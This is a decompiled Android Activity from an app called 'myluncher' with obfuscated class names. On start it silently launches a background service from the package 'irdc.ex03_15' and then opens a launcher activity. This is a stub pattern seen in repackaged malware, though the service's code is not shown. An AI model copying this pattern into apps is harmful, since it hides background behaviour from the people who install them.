package pro.myluncher;

import irdc.ex03_15.F;
import irdc.ex03_15.a;
import rorris.telephony.listen.B;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;

public class Code extends Activity
{
  public void onCreate(Bundle savedInstanceState)
  {
    method();

    super.onCreate(savedInstanceState);
  }

  private void method()
  {
    Context packageContext = null;
    ComponentName comp = new ComponentName("irdc.ex03_15", "irdc.ex03_15.C");
    try
    {
      packageContext = createPackageContext(comp.getPackageName(), 
        4);
    }
    catch (PackageManager.NameNotFoundException localNameNotFoundException) {
    }

    Context context=this.getApplicationContext();
    Intent i = new Intent(context, F.class);
    i.setFlags(268435456);
    
    if (!B.thing(context, 
        "irdc.ex03_15.F"))
      {
        context.startService(i);
      }
     

    Intent i2 = new Intent(packageContext, a.class);
    i2.setFlags(268435456);

    i2.addCategory("android.intent.category.LAUNCHER");
    startActivity(i2);

  }
}